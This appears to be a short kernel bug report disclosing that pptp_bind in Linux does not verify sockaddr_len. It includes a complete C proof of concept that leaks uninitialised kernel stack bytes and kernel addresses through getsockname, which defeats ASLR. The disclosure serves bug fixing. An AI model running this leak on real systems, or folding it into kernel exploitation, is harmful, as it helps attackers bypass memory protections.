Hello,
The following program leak various uninit garbage including kernel
addresses and whatever is on kernel stack, in particular defeating
ASLR. The issue is in pptp_bind which does not verify sockaddr_len
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <linux/in6.h>
#include <linux/socket.h>
#include <linux/if.h>
#include <linux/if_pppox.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(void)
{
struct sockaddr sa;
unsigned len, i, try;
int fd;
for (try = 0; try < 5; try++) {
fd = socket(AF_PPPOX, SOCK_RAW, PX_PROTO_PPTP);
if (fd == -1)
return;
memset(&sa, 0, sizeof(sa));
bind(fd, &sa, 0);
len = sizeof(sa);
getsockname(fd, &sa, &len);
for (i = 0; i < len; i++)
printf("%02x", ((unsigned char*)&sa)[i]);
printf("\n");
}
return 0;
}
